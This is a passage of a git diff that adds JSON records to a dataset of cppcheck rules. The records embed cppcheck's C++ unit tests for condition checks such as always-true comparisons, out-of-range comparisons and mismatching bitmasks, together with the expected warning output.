{\\n\"\n \" if (b == true) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10372\n check(\"void f(signed char x) {\\n\"\n \" if (x == 0xff) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Comparing expression of type 'signed char' against value 255. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(short x) {\\n\"\n \" if (x == 0xffff) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Comparing expression of type 'signed short' against value 65535. Condition is always false. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 0xffffffff) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(long x) {\\n\"\n \" if (x == ~0L) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(long long x) {\\n\"\n \" if (x == ~0LL) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" const int i = 0xFFFFFFFF;\\n\"\n \" if (x == i) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c;\\n\"\n \" if ((c = foo()) != -1) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 3000000000) {}\\n\"\n \"}\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Comparing expression of type 'signed int' against value 3000000000. Condition is always true. [compareValueOutOfTypeRangeError]\\n\", errout_str());\n\n check(\"void f(const signed char i) {\\n\" // #8545\n \" if (i > -129) {}\\n\" // warn\n \" if (i >= -128) {}\\n\" // warn\n \" if (i >= -127) {}\\n\"\n \" if (i < +128) {}\\n\" // warn\n \" if (i <= +127) {}\\n\" // warn\n \" if (i <= +126) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Comparing expression of type 'const signed char' against value -129. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:3:15]: (style) Comparing expression of type 'const signed char' against value -128. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:5:15]: (style) Comparing expression of type 'const signed char' against value 128. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:6:15]: (style) Comparing expression of type 'const signed char' against value 127. Condition is always true. [compareValueOutOfTypeRangeError]\\n\",\n errout_str());\n\n check(\"void f(const unsigned char u) {\\n\"\n \" if (u > 0) {}\\n\"\n \" if (u < 0) {}\\n\" // warn\n \" if (u >= 0) {}\\n\" // warn\n \" if (u <= 0) {}\\n\"\n \" if (u > 255) {}\\n\" // warn\n \" if (u < 255) {}\\n\"\n \" if (u >= 255) {}\\n\"\n \" if (u <= 255) {}\\n\" // warn\n \" if (0 < u) {}\\n\"\n \" if (0 > u) {}\\n\" // warn\n \" if (0 <= u) {}\\n\" // warn\n \" if (0 >= u) {}\\n\"\n \" if (255 < u) {}\\n\" // warn\n \" if (255 > u) {}\\n\"\n \" if (255 <= u) {}\\n\"\n \" if (255 >= u) {}\\n\" // warn\n \"}\\n\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:4:14]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:6:14]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:9:14]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:11:9]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:12:9]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:14:9]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:17:9]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always true. [compareValueOutOfTypeRangeError]\\n\",\n errout_str());\n }\n\n void knownConditionCast() {\n check(\"void f(int i) {\\n\" // #9976\n \" if (i < 0 || (unsigned)i > 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B {\\n\" // #12941\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct One : public B {};\\n\"\n \"struct Two : public B {};\\n\"\n \"void g(const B& b) {\\n\"\n \" const Two* two = nullptr;\\n\"\n \" const One* one = dynamic_cast(&b);\\n\"\n \" if (one == nullptr)\\n\"\n \" two = dynamic_cast(&b);\\n\"\n \" if (two) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownConditionIncrementLoop() { // #9808\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while (++a < 5) {}\\n\"\n \" if (a == 1) {}\\n\"\n \" std::cout << a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownConditionAfterBailout() { // #12526\n check(\n \"#include \\n\"\n \"int func()\\n\"\n \"{\\n\"\n \" return VALUE_1;\"\n \"}\\n\"\n \"\\n\"\n \"struct S1 {\\n\"\n \" bool b{};\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct S {\\n\"\n \" void f(const std::list& l) const\\n\"\n \" {\\n\"\n \" if (mS.b)\\n\"\n \" return;\\n\"\n \" for (int i : l)\\n\"\n \" {\\n\"\n \" (void)i;\\n\"\n \" if (mS.b)\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"\\n\"\n \" S1 mS;\\n\"\n \"};\"\n );\n ASSERT_EQUALS(\"[test.cpp:13:11] -> [test.cpp:18:13]: (style) Condition 'mS.b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void knownConditionIncDecOperator() {\n check(\n \"void f() {\\n\"\n \" unsigned int d = 0;\\n\"\n \" for (int i = 0; i < 4; ++i) {\\n\"\n \" if (i < 3)\\n\"\n \" ++d;\\n\"\n \" else if (--d == 0)\\n\"\n \" ;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownConditionFloating() {\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0;\\n\"\n \" if (f > 1.0f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0f' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0;\\n\"\n \" if (f > 1.0L) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0L' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0f;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0f;\\n\"\n \" if (f > 1.0L) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0L' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0L;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0L;\\n\"\n \" if (f > 1.0f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0f' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11201\n \" float f = 0x1.4p+3;\\n\" // hex fraction 1.4 (decimal 1.25) scaled by 2^3, that is 10.0\n \" if (f > 9.9) {}\\n\"\n \" if (f < 9.9) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>9.9' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:11]: (style) Condition 'f<9.9' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #12330\n \" double d = 1.0;\\n\"\n \" if (d < 0.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'd<0.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #12330\n \" long double ld = 1.0;\\n\"\n \" if (ld < 0.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Condition 'ld<0.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #12330\n \" float f = 1.0;\\n\"\n \" if (f < 0.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f<0.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #12774\n \" float f = 1.0f;\\n\"\n \" if (f > 1.01f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1.01f' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #12774\n \" float f = 1.0;\\n\"\n \" if (f > 1.01) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1.01' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'f>1.00f' is always false\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"// #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'f>1.00' is always false\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Condition 'nf>+1.0' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>-1.0' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'f>1.0' is always true\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Condition 'pf>-1.0' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'pf>1.0' is always true\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Condition 'nf>1.0' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // / #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'nf>-1.0' is always false\\n\",\n \"\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestCondition)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkInvalidTestForOverflow.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkInvalidTestForOverflow.json new file mode 100644 index 0000000..5b76223 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkInvalidTestForOverflow.json @@ -0,0 +1,22 @@ +{ + "name": "checkInvalidTestForOverflow", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 70, + "branches": 16, + "apis": 63, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 5854 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkcondition.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n\n#include \n#include \n#include \n\nclass TestCondition : public TestFixture {\npublic:\n TestCondition() : TestFixture(\"TestCondition\") {}\n\nprivate:\n const Settings settings0 = settingsBuilder().library(\"qt.cfg\").library(\"std.cfg\").severity(Severity::style).severity(Severity::warning).build();\n /*const*/ Settings settings1 = settingsBuilder().severity(Severity::style).severity(Severity::warning).build();\n\n void run() override {\n const char cfg[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \"\";\n settings1 = settingsBuilder(settings1).libraryxml(cfg).build();\n\n mNewTemplate = true;\n TEST_CASE(assignAndCompare); // assignment and comparison don't match\n TEST_CASE(mismatchingBitAnd); // overlapping bitmasks\n TEST_CASE(comparison); // CheckCondition::comparison test cases\n TEST_CASE(multicompare); // mismatching comparisons\n TEST_CASE(overlappingElseIfCondition); // overlapping conditions in if and else-if\n TEST_CASE(oppositeElseIfCondition); // opposite conditions in if and else-if\n\n TEST_CASE(checkBadBitmaskCheck);\n\n TEST_CASE(incorrectLogicOperator1);\n TEST_CASE(incorrectLogicOperator2);\n TEST_CASE(incorrectLogicOperator3);\n TEST_CASE(incorrectLogicOperator4);\n TEST_CASE(incorrectLogicOperator5); // complex expressions\n TEST_CASE(incorrectLogicOperator6); // char literals\n TEST_CASE(incorrectLogicOperator7); // opposite expressions: (expr || !expr)\n TEST_CASE(incorrectLogicOperator8); // !\n TEST_CASE(incorrectLogicOperator9);\n TEST_CASE(incorrectLogicOperator10); // enum\n TEST_CASE(incorrectLogicOperator11);\n TEST_CASE(incorrectLogicOperator12);\n TEST_CASE(incorrectLogicOperator13);\n TEST_CASE(incorrectLogicOperator14);\n TEST_CASE(incorrectLogicOperator15);\n TEST_CASE(incorrectLogicOperator16); // #10070\n TEST_CASE(incorrectLogicOperator17);\n TEST_CASE(secondAlwaysTrueFalseWhenFirstTrueError);\n TEST_CASE(incorrectLogicOp_condSwapping);\n TEST_CASE(testBug5895);\n TEST_CASE(testBug5309);\n\n TEST_CASE(modulo);\n\n TEST_CASE(oppositeInnerCondition);\n TEST_CASE(oppositeInnerConditionPointers);\n TEST_CASE(oppositeInnerConditionClass);\n TEST_CASE(oppositeInnerConditionUndeclaredVariable);\n TEST_CASE(oppositeInnerConditionAlias);\n TEST_CASE(oppositeInnerCondition2);\n TEST_CASE(oppositeInnerCondition3);\n TEST_CASE(oppositeInnerConditionAnd);\n TEST_CASE(oppositeInnerConditionOr);\n TEST_CASE(oppositeInnerConditionEmpty);\n TEST_CASE(oppositeInnerConditionFollowVar);\n TEST_CASE(oppositeInnerConditionLambda);\n\n TEST_CASE(identicalInnerCondition);\n\n TEST_CASE(identicalConditionAfterEarlyExit);\n TEST_CASE(innerConditionModified);\n\n TEST_CASE(clarifyCondition1); // if (a = b() < 0)\n TEST_CASE(clarifyCondition2); // if (a & b == c)\n TEST_CASE(clarifyCondition3); // if (! a & b)\n TEST_CASE(clarifyCondition4); // ticket #3110\n TEST_CASE(clarifyCondition5); // #3609 CWinTraits..\n TEST_CASE(clarifyCondition6); // #3818\n TEST_CASE(clarifyCondition7);\n TEST_CASE(clarifyCondition8);\n\n TEST_CASE(alwaysTrue);\n TEST_CASE(alwaysTrueSymbolic);\n TEST_CASE(alwaysTrueInfer);\n TEST_CASE(alwaysTrueContainer);\n TEST_CASE(alwaysTrueLoop);\n TEST_CASE(alwaysTrueTryCatch);\n TEST_CASE(multiConditionAlwaysTrue);\n TEST_CASE(duplicateCondition);\n\n TEST_CASE(checkInvalidTestForOverflow);\n TEST_CASE(checkConditionIsAlwaysTrueOrFalseInsideIfWhile);\n TEST_CASE(alwaysTrueFalseInLogicalOperators);\n TEST_CASE(pointerAdditionResultNotNull);\n TEST_CASE(duplicateConditionalAssign);\n\n TEST_CASE(checkAssignmentInCondition);\n TEST_CASE(compareOutOfTypeRange);\n TEST_CASE(knownConditionCast); // #9976\n TEST_CASE(knownConditionIncrementLoop); // #9808\n TEST_CASE(knownConditionAfterBailout); // #12526\n TEST_CASE(knownConditionIncDecOperator);\n TEST_CASE(knownConditionFloating);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n const Settings* s = nullptr;\n bool cpp = true;\n bool inconclusive = false;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n void check_(const char* file, int line, const char code[], const CheckOptions& options = make_default_obj()) {\n const Settings settings = settingsBuilder(options.s ? *options.s : settings0).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Run checks..\n runChecks(tokenizer, this);\n }\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n void checkP_(const char* file, int line, const char code[])\n {\n const Settings settings = settingsBuilder(settings0).severity(Severity::performance).certainty(Certainty::inconclusive).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Run checks..\n runChecks(tokenizer, this);\n }\n\n void assignAndCompare() {\n // &\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int y = x & 4;\\n\"\n \" if (y == 3);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'y==3' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int y = x & 4;\\n\"\n \" if (y != 3);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'y!=3' is always true. [assignIfError]\\n\", errout_str());\n\n // |\n check(\"void foo(int x) {\\n\"\n \" int y = x | 0x14;\\n\"\n \" if (y == 0x710);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:8]: (style) Mismatching assignment and comparison, comparison 'y==0x710' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" int y = x | 0x14;\\n\"\n \" if (y == 0x71f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // various simple assignments\n check(\"void foo(int x) {\\n\"\n \" int y = (x+1) | 1;\\n\"\n \" if (y == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:8]: (style) Mismatching assignment and comparison, comparison 'y==2' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int y = 1 | x();\\n\"\n \" if (y == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:8]: (style) Mismatching assignment and comparison, comparison 'y==2' is always false. [assignIfError]\\n\", errout_str());\n\n // multiple conditions\n check(\"void foo(int x) {\\n\"\n \" int y = x & 4;\\n\"\n \" if ((y == 3) && (z == 1));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Mismatching assignment and comparison, comparison 'y==3' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" int y = x & 4;\\n\"\n \" if ((x==123) || ((y == 3) && (z == 1)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:22]: (style) Mismatching assignment and comparison, comparison 'y==3' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" if (setvalue(&y) && y != 8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // recursive checking into scopes\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" if (z) y=0;\\n\"\n \" else { if (y==8); }\\n\" // always false\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:15]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n // while\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" while (y==8);\\n\" // local variable => always false\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:11]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" extern int y; y = x & 7;\\n\"\n \" while (y==8);\\n\" // non-local variable => no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int a = 100;\\n\"\n \" while (x) {\\n\"\n \" int y = 16 | a;\\n\"\n \" while (y != 0) y--;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int x);\\n\"\n \"void f(int x) {\\n\"\n \" int a = 100;\\n\"\n \" while (x) {\\n\"\n \" int y = 16 | a;\\n\"\n \" while (y != 0) g(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:5:15] -> [test.cpp:6:15]: (style) Mismatching assignment and comparison, comparison 'y!=0' is always true. [assignIfError]\\n\",\n errout_str());\n\n check(\"void g(int &x);\\n\"\n \"void f(int x) {\\n\"\n \" int a = 100;\\n\"\n \" while (x) {\\n\"\n \" int y = 16 | a;\\n\"\n \" while (y != 0) g(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // calling function\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" do_something();\\n\"\n \" if (y==8);\\n\" // local variable => always false\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" do_something(&y);\\n\" // passing variable => no error\n \" if (y==8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void do_something(int);\\n\"\n \"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" do_something(y);\\n\"\n \" if (y==8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:8]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" extern int y; y = x & 7;\\n\"\n \" do_something();\\n\"\n \" if (y==8);\\n\" // non-local variable => no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4434 : false positive: ?:\n check(\"void f(int x) {\\n\"\n \" x = x & 1;\\n\"\n \" x = x & 1 ? 1 : -1;\\n\"\n \" if(x != -1) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4735\n check(\"void f() {\\n\"\n \" int x = *(char*)&0x12345678;\\n\"\n \" if (x==18) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: no variable info\n check(\"void foo(int x) {\\n\"\n \" y = 2 | x;\\n\" // y not declared => no error\n \" if(y == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: negative number\n check(\"void foo(int x) {\\n\"\n \" int y = -2 | x;\\n\" // negative number => no error\n \" if (y==1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: pass variable to function\n check(\"void foo(int x) {\\n\"\n \" int y = 2 | x;\\n\"\n \" bar(&y);\\n\" // pass variable to function => no error\n \" if (y==1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no crash on unary operator& (#5643)\n // #11610\n check(\"SdrObject* ApplyGraphicToObject() {\\n\"\n \" if (&rHitObject) {}\\n\"\n \" else if (rHitObject.IsClosedObj() && !&rHitObject) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Condition '&rHitObject' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:42]: (style) Condition '!&rHitObject' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // #5695: increment\n check(\"void f(int a0, int n) {\\n\"\n \" int c = a0 & 3;\\n\"\n \" for (int a = 0; a < n; a++) {\\n\"\n \" c++;\\n\"\n \" if (c == 4)\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) {\\n\" // #6662\n \" int x = a & 1;\\n\"\n \" while (x <= 4) {\\n\"\n \" if (x != 5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'x!=5' is always true. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\" // #6662\n \" int x = a & 1;\\n\"\n \" while ((x += 4) < 10) {\\n\"\n \" if (x != 5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 100;\\n\"\n \" while (x) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int x);\\n\"\n \"void f() {\\n\"\n \" int x = 100;\\n\"\n \" while (x) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void g(int & x);\\n\"\n \"void f() {\\n\"\n \" int x = 100;\\n\"\n \" while (x) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void mismatchingBitAnd() {\n check(\"void f(int a) {\\n\"\n \" int b = a & 0xf0;\\n\"\n \" b &= 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:5]: (style) Mismatching bitmasks. Result is always 0 (X = Y & 0xf0; Z = X & 0x1; => Z=0). [mismatchingBitAnd]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" int b = a & 0xf0;\\n\"\n \" int c = b & 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Mismatching bitmasks. Result is always 0 (X = Y 